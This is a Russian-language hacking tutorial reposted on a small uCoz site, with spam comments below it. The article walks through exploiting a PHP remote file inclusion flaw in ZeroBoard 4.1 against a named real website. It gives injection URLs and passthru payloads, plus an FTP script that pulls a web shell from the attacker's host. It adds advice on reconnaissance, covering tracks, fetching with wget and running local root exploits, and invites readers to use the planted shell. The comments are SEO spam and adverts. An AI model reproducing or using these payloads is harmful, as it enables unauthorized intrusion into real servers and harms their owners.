Воскресенье, 20.07.2025, 21:48
FreZZe Zone
Приветствую Вас Гость | RSS
Главная Каталог статей Регистрация Вход
Меню сайта

Категории каталога
Безопастность [1]
Уязвимости [2]
Web мастеру [3]

Наш опрос
Какой у вас интернет?

Результат опроса Результаты
Все опросы нашего сайта Архив опросов
Всего ответов: 100
Всего голосовало: 100
Обсудить на форуме

Главная » Статьи » Уязвимости

Уязвимость движков на PHP
В различных багтреках то и дело проскальзывают сообщения об уязвимостях в различных форумах, движках и других подобных скриптах, реализованных с помощью PHP. Мы научимся использовать уязвимость, которая получила название - "PHP source injection". Многие не обращают на нее внимание, или просто по неопытности отбрасывают в сторону. Я хочу показать, что можно сделать, или как можно заюзать данную уязвимость.

В качестве примера возьмем уязвимость в ZeroBoard 4.1. Описание уязвимости можно посмотреть здесь: http://www.security.nnov.ru/search/document.asp?docid=3085.

Суть ошибки понятна из названия. Т.е. каким-либо способом мы внедряем (включаем) свой PHP код в код PHP скрипта выполняемого на сервере. Нам ничего не мешает попробовать выполнить какие-либо команды.

Для этого нам понадобиться любой халявный (хоть на narod.ru или by.ru) хостинг с фтп доступом. Я буду приводить пример со своим (xzb2me.topcities.com). В качестве испытуемого возьмем сайт lovecfc.gotosite.net.

Как видим (из описания уязвимости в Zero) урл для использования данной уязвимости выглядит так:
http://BOARD_URL/_head.php?_zb_path=http://MYBOX/a

Нам нужно создать файл alib.php со следующим содержанием: <? passthru("ls"); ?>, и залить его на наш сайт. Тогда путь к нему будет выглядеть так: http://xzb2me.topcities.com/alib.php. Путь к форуму такой: http://ilovecfc.gotosite.net/zb41/. Значит можем подставлять:
http://ilovecfc.gotosite.net/zb41/_head.php?_zb_path=http://xzb2me.topcities.com/a

Заметьте, что в этом случае мы не пишем полностью alib.php, а указываем только "a". Так это работает здесь. Результат: получение листинга текущей директории, а именно той, в которой находится ZeroBoard. Можно было бы и дальше так исследовать директории, читать доступные файлы. Но это напрягает. Каждый раз команду необходимо снова заливать на свой сайт. Поэтому многие и не связываются. Рассмотрим один из способов заливки нормального шелла на уязвимый сервер.

Договоримся, что команды, которые я буду писать, надо будет помещать в alib.php и заливать на наш сайт. После этого в браузере идти на линк: http://ilovecfc.gotosite.net/zb41/_head.php?_zb_path=http://xzb2me.topcities.com/a , при этом лучше нажать F5 в IE, для того чтобы он послал запрос серверу (обновил) и команда выполнилась.

Сначала проверим можем ли мы записывать в текущий каталог. Для этого в alib.php пишем что-то на подобие:
<? passthru("echo hi > 1.txt;ls"); ?>

Заметьте, что мы можем выполнять несколько команд сразу, разделяя их знаком ";" (точка с запятой). Если в полученном листинге ты видишь файл 1.txt, значит у нас все получиться ;). В нашем случае так оно и есть.

Теперь нам нужно создать файл (пусть это будет ext.php) со следующим содержанием:
<? passthru("$command"); ?>

Заливаем этот файл на наш сайт. Теперь пишем в alib.php следующее:
<? passthru("echo open xzb2me.topcities.com > sc.scr; echo user xzb2me >> sc.scr; echo q4k6NDS7 >> sc.scr; echo get ext.php ext.php >> sc.scr; echo bye >> sc.scr; cat sc.scr"); ?>

Объясню. Этими командами мы создаем сценарий для клиентской части фтп атакуемого сервака, и выводим получившееся на экран. Рассмотрим каждую команду (для тех кто знаком можете пропустить):

echo open xzb2me.topcities.com > ft.scr
Записываем строчку "open xzb2me.topcities.com" в файл sc.scr. Это команда на соединение с фтп xzb2me.topcities.com. Здесь вы должны указать адрес своего фтп. Например, если сайт на by.ru, то фтп так и будет: by.ru. Вообще эти данные (фтп адрес, логин, пароль) вы должны получить после успешной регистрации своего сайта.

echo user xzb2me >> sc.scr
Добавляем в файл sc.scr строчку user xzb2me (обратите внимание что знак > сменился на >>). Это мы проводим идентификацию пользователя на нашем серваке (фтп). Тут вы должны подставить свой логин на ваш фтп.

echo q4k6NDS7 >> sc.scr
Этой строчкой вгоняем пасс от нашего фтпшника. (Подставьте свой).

echo get ext.php ext.php >> sc.scr
Запрашиваем файл ext.php с нашего фтп и сохраняем его в текущей дире атакуемого сервака под таким же именем.

echo bye >> sc.scr;
Прощаемся с нашим фтп.

cat sc.scr
Выводим записанное на экран для проверки.

И так, сценарий создан. Теперь попробуем выполнить его. Для этого вбиваем в alib.php следующее:
<? passthru("ftp -nd < ft.scr; chmod 755 ext.php; ls -aF"); ?>

Этим самым мы запустим клиент ftp, передав ему в качестве параметров наш скрипт. Потом установим права на закаченный файл и делаем листинг диры. Если вы видите в получившемся листинге что-то типа: "---> SYST ---> USER xzb2me ---> PASS XXXX ---> TYPE I ---> PASV ---> RETR ext.php ---> QUIT ЗХ°и" а потом листинг в котором находится ext.php*, значит у нас все получилось.

Теперь у нас есть боле менее нормальный шелл, пусть и http. Юзать его так:
http://ilovecfc.gotosite.net/zb41/ext.php?command=команда(ы)

Например:
http://ilovecfc.gotosite.net/zb41/ext.php?command=id;uname -a;pwd
Ответ: uid=48(apache) gid=48(apache) groups=48(apache) Linux gotosite.net 2.4.9-31smp #1 SMP Tue Feb 26 06:55:00 EST 2002 i686 unknown /home/ilovecfc/public_html/zb41

Основная задача выполнена. Мы имеем шелл с правами вебсервера. Дальше можно приступить к исследованию, благо плацдарм есть ;).

Напоследок один совет по исследованию.
Для выяснения сервисов (www, ftp, smtp, pop3, etc:) лучше не сканировать порты данного сервера, привлекая к себе внимание, а выполнить команду netstat -a. В нашем случаем вот что это дало (исключая активные соединения и Active UNIX domain sockets):
tcp 0 0 *:mysql *:* LISTEN
tcp 0 0 *:pop3 *:* LISTEN
tcp 0 0 *:http *:* LISTEN
tcp 0 0 *:ftp *:* LISTEN
tcp 0 0 211.53.209.149:domain *:* LISTEN
tcp 0 0 localhost.locald:domain *:* LISTEN
tcp 0 0 *:ssh *:* LISTEN
tcp 0 0 *:telnet *:* LISTEN
tcp 0 0 *:smtp *:* LISTEN
tcp 0 0 localhost.localdom:rndc *:* LISTEN
udp 0 0 *:32772 *:*
udp 0 0 211.53.209.149:domain *:*
udp 0 0 localhost.locald:domain *:*

Видите как легко? И не надо никакого сканирования. Теперь нужно только узнать версию, прителнетивьшись на соответствующий порт, или посмотрев в конфигурационных файлах данного сервиса.

После того как шелл готов, не забудьте подчистить после себя:
http://ilovecfc.gotosite.net/zb41/ext.php?command=rm -f 1.txt;rm -f sc.scr

Если админы не заметили, или кто-то из прочитающих эту статью не постарался, то это работает и сейчас. Можешь попробывать в браузере поюзать http шел на ilovecfc.gotosite.net.

Вот в принципе и все. Все это не ново, данный способ закачки использовался еще на IIS с юникод багом. Просто многие забывают, что это работает и на *nix системах. Только не везде все так хорошо. Где-то не будет доступа на запись, тогда советую попробовать записать что либо в другие директории, а лучше выполнить id, чтобы выяснить под каким юзером находится вебсервак, и потом в /home искать папку, владельцем которой он является. Это может оказаться совсем другой сайт, но нам разницы нет. Сервак то один. И записать туда свой шелл (такой случай имел место с одним хостером). Замечено, что если разместить наш скрипт(шелл) в папке cgi-bin, то команды выполнятся не будут. Веб сервак вернет сообщение об Internal Server Error. Поэтому советую заливать его куда-нибудь в другое место. Так же может обломать фаервол, обрубив исходящий коннект на наш фтп. Попробуйте заюзать wget.
Можно и не захватывать сервер, довольствуясь малым. Разместить в дире свои PHP или Perl скрипты, можно повесить проксю, сканер портов etc.., все что можно накодить на соответствующих языках. Залить эксплоит(ы) (local root) и попытаться применить (скомпилить with gcc). Короче полная свобода. Действуй как считаешь нужным.
PS
В поиске уязвимых скриптов с PHP source injection, тебе поможет www.security.nnov.ru.
Малюсенький трик: т.к. результаты выполнения команд браузер (IE) выводит в не удобной форме, советую сохранить страницу как "Веб страница только", и просматривать хоть редактором в Нортоне или Фаре.


Источник: http://old.antichat.ru/txt/old/dhgroup/PHP.shtml
Категория: Уязвимости | Добавил: frezze (22.11.2007) | Автор: FreeZze
Просмотров: 15269 | Комментарии: 12 | Рейтинг: 3.0/2 |
Всего комментариев: 121 2 »
Дата: 27.03.2013 Сообщение # 12
http://www.brigada-remontnikov.ru/ - Ремонт квартир и офисов под ключ в Санкт-Петербурге и области
http://winzoro.com/catalog/soft/LogonStudio/ - гаджет
http://winzoro.net/logon_windows7/ - скачать бесплатные темы

Дата: 10.03.2013 Сообщение # 11
Мне на днях нужна была юридическая консультация и я пытался найти Московский юридический центр! После чего совсем случайно нашёл на http://www.consalt-centr.ru/sudebniy_consalt.html - Судебный консалтинг
. просмотрел их сайт и рискнул заказать предложенную юридическую консультацию. После чего юридическая консультация дала о себе знать и я решил все свои личные проблемы. Теперь восхваляю наверное самый лучший юридический центр в Москве.

Дата: 11.02.2013 Сообщение # 10
Мой менеджер дал мне url: http://srub-dizain.ru/articles/94-profilirovanniybrus - купить брус из сосны Александров
и обратился к этой компании! Меня как раз интересовал половой профилированный брусок. Короче перешёл я туда и сделал заказ! Там конечно всё смешно сделано и сухой брус от производителя тяжело прикупить. Всему этому сопутствовала продуманная навигация ресурса, которую не мог не заметить.Хорошо конечно то, что это завод изготовитель – но сайт можно было по красивее сделать.

Дата: 07.02.2013 Сообщение # 9
Бывает же такое! Вот в яху попал на информацию http://rentrealtycrimea.com/dlitelno/ - сдам 2-х комнатную квартиру Симферополь
и офигел. Кстати забыл поздороваться! В общем сдам квартиру в Симферополе Крым
,я просмотрел и оперативно раздуплился, что проживание классная вещь – раз присутствуют такие дома. Поэтому всем ходатайствую ссылку http://rentrealtycrimea.com с недвижимостью Симферополя.

Дата: 30.10.2012 Сообщение # 8
[color=color_url - Водонепроницаемая экшен-камера. Совершенно новая, компактная и в своём роде уникальная http://www.centroline.ru видеокамера[color=color_url - для экстремальных видов спорта и активного отдыха.Она представляет собой мини-камеру, которая позволят вам отсылать записанное фото и видео торчком для особенный айфон, смартфон или планшетный компьютер, а также позволяет воззриться в режиме реального времени по каналу беспроводной связи Wi-Fi.

Дата: 21.09.2012 Сообщение # 7
Привет! Никто не работал с этими ребятами этими, ссылка ниже, можно им доверять? Хочу себе номер красивый, вот думаю чтобы не кинули:

Дата: 20.07.2012 Сообщение # 6
porno chelsea kane

Дата: 18.02.2012 Сообщение # 5
День добрый. Посоветуйте пожалуйста. Где поглядеть железная дверь екатеринбург Торекс?

С уважением, Владимир болдин.

Дата: 05.02.2012 Сообщение # 4
Купить блатной номер для авто машины - знак престижа и даже можно сказать часть имиджа и уверенности в себе на дороге. Красивые и блатные автомобильные номера покажут всем участникам дорожного движения, что за рулем или на заднем диване находится человек имеющий прямое или косвенное отношение к влиятельным слоям населения, а может и непосредственно к гос структурам, а значит, на дороге вас будут видеть и заочно уважать.
Если Вы желаете официально купить красивые номера на автомобиль - Мы продаём Вам авто типа ВАЗ + автомобильные государственные регистрационные знаки, которые Вы хотели купить, и по перевесу с вашего уже ВАЗ оформляем перевес автономера на Ваш автомобиль.
Престижные и статусные, красивые и очень красивые, блатные и спецсерии - любые номера для автомобиля на ваш вкус и пожелания. Работаем ежедневно 24 часа и 7 дней в неделю, без выходных и перерывов.

ВЫ МОЖЕТЕ БЫТЬ УВЕРЕНЫ - Мы не станем Вас держать целый день или более 2-х - 3-х часов, чтобы совершить ВСЕ операции!
Если Вы желаете официально продать свой красивый номер для авто Москва 77, 97, 99, 177, 199, 197 или Московская область 50, 90, 150, 190, пожалуйста звоните в любое время. Рассмотрим все предложения. Приемлем обмен автономера на авто номер или автономер на автомобильные номера с доплатой или по бартеру на услуги или товар.
Мы с огромным уважением относимся к каждому нашему клиенту кто к нам обращается и ЦЕНИМ ВАШЕ ВРЕМЯ!
+7-925-001-26-01
http://www.ooo-Auto001.RU/

Дата: 29.01.2012 Сообщение # 3
Приветик. Посоветуйте умоляю. Где-бы взять туфельки Liska?

С уважением, Степан котенко.

1-10 11-12
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Форма входа

Поиск

Друзья сайта
каталог сайтов
ZumeR_Portal

Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0

Copyright MyCorp © 2025 Создать бесплатный сайт с uCoz